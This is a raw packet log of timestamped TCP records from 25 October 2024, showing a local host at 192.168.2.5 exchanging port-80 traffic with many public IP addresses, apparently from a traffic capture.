Oct 25, 2024 11:18:16.082098961 CEST	80	52990	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:16.082144022 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:16.082861900 CEST	80	53010	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:16.082954884 CEST	53010	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:16.082995892 CEST	80	53011	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:16.083102942 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:16.084855080 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:16.084870100 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:16.084881067 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:16.085422993 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:16.089848995 CEST	80	52977	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:16.089910984 CEST	52977	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:16.090876102 CEST	80	53011	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:16.095453978 CEST	53010	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:16.100831032 CEST	80	53010	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:16.109810114 CEST	80	52990	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:16.111437082 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:16.111490011 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:16.117100000 CEST	80	52990	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:16.133476973 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133533001 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133547068 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133547068 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.133563042 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133586884 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133595943 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.133601904 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.133624077 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.133625031 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.133644104 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134176016 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134190083 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134206057 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134222031 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134224892 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134255886 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134255886 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134290934 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134665012 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134708881 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134711981 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134731054 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134752035 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134768009 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.134789944 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.134814024 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.135510921 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.135567904 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.155980110 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:16.156064987 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:16.157493114 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157571077 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157588959 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157630920 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.157659054 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.157669067 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157706976 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157746077 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157758951 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.157785892 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.157955885 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157970905 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157994032 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.157999992 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158006907 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158025026 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158025980 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158026934 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158040047 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158045053 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158070087 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158071041 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158890963 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158915997 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158930063 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158943892 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.158950090 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158950090 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158986092 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.158986092 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159430027 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159454107 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159488916 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159488916 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159538984 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159553051 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159565926 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159579992 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.159590006 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159590006 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159620047 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.159620047 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.160442114 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160458088 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160480976 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160495996 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160511017 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160511971 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.160526037 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.160536051 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.160552979 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.160581112 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161299944 CEST	80	52984	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:16.161369085 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:16.161389112 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161436081 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161442041 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161463022 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161475897 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161490917 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161521912 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161521912 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161834002 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161848068 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161870003 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161885023 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161895990 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161900997 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161911964 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161927938 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161932945 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161947012 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.161955118 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161969900 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.161987066 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162005901 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162020922 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162044048 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162107944 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162122011 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162136078 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162153006 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162168026 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162188053 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162188053 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162203074 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162220955 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162230015 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162245035 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162250996 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162261009 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162266970 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162276030 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162285089 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162293911 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.162296057 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162317991 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.162332058 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.167546034 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167572021 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167604923 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.167623997 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.167691946 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167773962 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167788029 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167802095 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167812109 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.167814016 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167846918 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.167862892 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.167948008 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167962074 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.167977095 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.168019056 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.168044090 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.173049927 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173098087 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173111916 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.173127890 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.173141003 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.173144102 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173212051 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.173218012 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.173240900 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173254967 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173269033 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.173278093 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.173371077 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.173393965 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.188371897 CEST	80	52993	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:16.188468933 CEST	52993	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:16.205038071 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:16.210494995 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:16.211179018 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.212028980 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.216562986 CEST	80	53012	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:16.216664076 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.216779947 CEST	53012	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.217494011 CEST	80	53013	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:16.217546940 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.218250036 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.222659111 CEST	80	53012	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:16.223654985 CEST	80	53013	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:16.225902081 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:16.225934029 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:16.225949049 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:16.225955963 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:16.225965977 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:16.225970030 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:16.225980043 CEST	80	52997	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:16.226016998 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:16.226016998 CEST	52997	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:16.257780075 CEST	80	52996	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:16.257838011 CEST	52996	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:16.266304970 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266340971 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266355038 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266366959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266371965 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266388893 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266390085 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266415119 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266415119 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266441107 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266510963 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266556978 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266565084 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266580105 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266593933 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.266623020 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.266650915 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267016888 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267047882 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267065048 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267100096 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267102003 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267118931 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267129898 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267154932 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267174959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267374992 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267427921 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267431974 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267447948 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267478943 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267501116 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267514944 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267537117 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267554998 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.267566919 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267586946 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.267613888 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268074989 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268091917 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268109083 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268126011 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268157959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268157959 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268311024 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268333912 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268351078 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268364906 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268382072 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268397093 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268414974 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268429041 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.268436909 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268436909 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268480062 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268480062 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268480062 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268481016 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.268481016 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.285165071 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285186052 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285300016 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285312891 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285315990 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285326958 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285332918 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285337925 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285351038 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285353899 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285373926 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285393953 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.285749912 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:16.285871029 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:16.285890102 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285929918 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285945892 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285959959 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.285989046 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.286009073 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.286536932 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.286552906 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.286569118 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.286591053 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.286607027 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.286849976 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.286864996 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.286905050 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.287441015 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.287465096 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.287477970 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.287488937 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.287488937 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.287503958 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.287504911 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.287530899 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.287556887 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.288290024 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.288301945 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.288311958 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.288335085 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.288361073 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.290286064 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290337086 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290348053 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290358067 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290378094 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290378094 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290416002 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290432930 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290467024 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290510893 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290512085 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290554047 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290585995 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290596008 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290606976 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290648937 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290648937 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290667057 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.290705919 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.290826082 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290868044 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290878057 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290905952 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290910959 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290951967 CEST	52978	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:16.290957928 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.290970087 CEST	80	52978	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:16.291007042 CEST	52978	80	192.168.2.5	217.79.184.35
